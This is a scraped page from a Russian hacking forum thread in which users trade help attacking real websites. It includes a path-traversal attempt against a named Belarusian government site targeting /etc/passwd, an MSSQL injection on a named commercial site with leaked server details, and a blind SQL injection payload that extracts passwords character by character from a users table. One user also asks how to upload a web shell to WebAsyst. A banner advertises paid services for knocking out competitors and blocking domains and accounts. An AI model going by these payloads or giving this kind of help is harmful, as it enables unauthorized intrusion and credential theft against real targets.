Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1324 из 2438

1324

Опции темы

Поиск в этой теме

Опции просмотра

#13231

17.05.2010, 13:35

ZAV

Новичок

Регистрация: 06.05.2010

Сообщений: 7

С нами: 8429994

Репутация: 1

вот урл:

http://mvd.gov.by/modules.php?name=../../../../../

ошибка такая:

Warning: file_exists() [function.file-exists]: open_basedir restriction in effect. File(modules/../../../../..//copyright.php) is not within the allowed path(s): (/hosting/mvd.gov.by/htdocs/) in /hosting/mvd.gov.by/htdocs/includes/javascript.php on line 59

вроде этого побывал:
../../../../../../../etc/passwd//////////////////[..4095..]
не пашет

что делать?

Последний раз редактировалось ZAV; 17.05.2010 в 13:39..

#13232

17.05.2010, 13:59

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

инклудить то что разрешено в open_basedir

#13233

17.05.2010, 16:38

mr.celt

Участник форума

Регистрация: 06.02.2008

Сообщений: 110

С нами: 9610572

Репутация: 32

Цитата:

Сообщение от shell_c0de

Есть скуля http://www.stockhouse.com/tools/?page=%2Fshfn%2Farticle%2Easp%3FedtID%3D18744'
mssql скуля но select режется =\ что можно предпринять еще ?

че-то у меня сомнения насчет SELECT..
@@version у тебя прокатило?

#13234

17.05.2010, 17:03

[R]eD

Познающий

Регистрация: 01.08.2006

Сообщений: 36

С нами: 10409033

Репутация: 3

Имеется сайт, в нем скуля в .... ORDER BY $id

Переборка запроса вроде

Код:

(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))

работает.

Вопрос: как в таком случае использовать (UNION) SELECT? Или любой другой способ сделать выборку из бд?

#13235

17.05.2010, 17:05

b82a

Участник форума

Регистрация: 07.02.2010

Сообщений: 111

С нами: 8556372

Репутация: 127

Цитата:

Сообщение от [R]eD

Имеется сайт, в нем скуля в .... ORDER BY $id

Переборка запроса вроде

Код:

(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))

работает.

Вопрос: как в таком случае использовать (UNION) SELECT? Или любой другой способ сделать выборку из бд?

Ссылку в студию

#13236

17.05.2010, 17:07

[R]eD

Познающий

Регистрация: 01.08.2006

Сообщений: 36

С нами: 10409033

Репутация: 3

Цитата:

Сообщение от b82a

Ссылку в студию

К сожалению дать не могу, но тут и так все ясно...
Запрос там вида SELECT .... FROM .... ORDER BY $id
$id - не фильтрауется.

#13237

17.05.2010, 17:35

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

[R]eD, вместо user() запрос свой вставляй, типа select+table+where+id='5' только в () запрос возьми

#13238

17.05.2010, 17:35

mr.celt

Участник форума

Регистрация: 06.02.2008

Сообщений: 110

С нами: 9610572

Репутация: 32

Цитата:

Сообщение от [R]eD

Имеется сайт, в нем скуля в .... ORDER BY $id

Переборка запроса вроде

Код:

(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))

работает.

Вопрос: как в таком случае использовать (UNION) SELECT? Или любой другой способ сделать выборку из бд?

Все достаточно просто: с помощью подзапросов, вместо user() подставляешь запрос типа (SELECT+password+FROM+users+WHERE+userid='1') и таким образом запрос получается такой:
(id*IF(ASCII(SUBSTRING((SELECT+password+FROM+users +WHERE+userid='1'),1,1))=113,1,-1)), а далее посимвольно перебираешь остальную часть пароля

#13239

17.05.2010, 18:19

shell_c0de

Reservists Of Antichat - Level 6

Регистрация: 07.07.2009

Сообщений: 324

С нами: 8866466

Репутация: 564

Цитата:

Сообщение от mr.celt

че-то у меня сомнения насчет SELECT..
@@version у тебя прокатило?

Извращаясь вот что удалось вывести ...
VersionMicrosoft SQL Server 2005 - 9.00.3042.00 (X64)
Feb 10 2007 00:59:02
Copyright (c) 1988-2005 Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)
DbStocks
ServerE3S9\FT0
Userwebguestsql
PrivilegePublic
дальше ничего не получается =\

Последний раз редактировалось shell_c0de; 17.05.2010 в 18:38..

#13240

17.05.2010, 18:21

Failure

Участник форума

Регистрация: 21.09.2008

Сообщений: 148

С нами: 9282050

Репутация: 102

Интересуют методы заливки шелла на WebAsyst (v.2.4.7)

Страница 1324 из 2438

1324

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 8 (пользователей: 0 , гостей: 8)

Быстрый переход